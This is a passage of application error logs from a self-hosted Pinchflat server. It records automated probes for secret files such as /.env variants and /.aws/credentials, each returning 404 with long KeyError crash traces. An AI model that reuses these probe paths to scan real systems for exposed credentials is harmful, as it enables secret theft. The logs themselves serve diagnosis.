41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0 (truncated) 02:30:29.170 [error] #PID<0.3625.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.dist ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05ebd2f5e4d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "jvor89681627ik6b.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3625.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e05ebd2f5e4d-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "jvor89681627ik6b.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "104.22.56.193"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.dist", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBMAx3X2gpBYAAUvB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05ebd2f5e4d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "jvor89681627ik6b.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05ebd2f5e4d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "jvor89681627ik6b.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3625.0>, params: %{}, (truncated) 02:30:29.171 [error] #PID<0.3626.0> running PinchflatWeb.Endpoint (connection #PID<0.3624.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3624.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41392}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05e9f671ecd-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "e9fe2130j2fv.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "108.162.238.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3626.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e05e9f671ecd-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "e9fe2130j2fv.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "108.162.238.108"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBMA0I0EiI54AAUwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3624.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41392}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05e9f671ecd-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "e9fe2130j2fv.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "108.162.238.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3624.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41392}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05e9f671ecd-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "e9fe2130j2fv.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "108.162.238.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, (truncated) 02:30:29.172 [error] #PID<0.3628.0> running PinchflatWeb.Endpoint (connection #PID<0.3627.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3627.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41396}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05eba550b6f-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "95484a42bu8r.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3628.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e05eba550b6f-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "95484a42bu8r.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "172.71.30.221"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBMA7fmwQx5EAAUxB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3627.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41396}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05eba550b6f-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "95484a42bu8r.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3627.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41396}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05eba550b6f-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "95484a42bu8r.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs (truncated) 02:30:29.185 [info] GET /.env.sample 02:30:29.186 [debug] QUERY OK source="settings" db=0.2ms idle=16.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.186 [debug] QUERY OK source="settings" db=0.0ms idle=16.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.186 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:29.186 [error] #PID<0.3629.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 2) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.sample ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05ebfd1a9db-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "95484a42bu8r.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "108.162.238.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3629.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e05ebfd1a9db-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "95484a42bu8r.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "108.162.238.108"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.sample", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBME3YQPhTMgAAUyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05ebfd1a9db-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "95484a42bu8r.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "108.162.238.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05ebfd1a9db-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "95484a42bu8r.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "108.162.238.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefine (truncated) 02:30:29.188 [info] GET /.env.local 02:30:29.188 [debug] QUERY OK source="settings" db=0.1ms idle=18.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.189 [debug] QUERY OK source="settings" 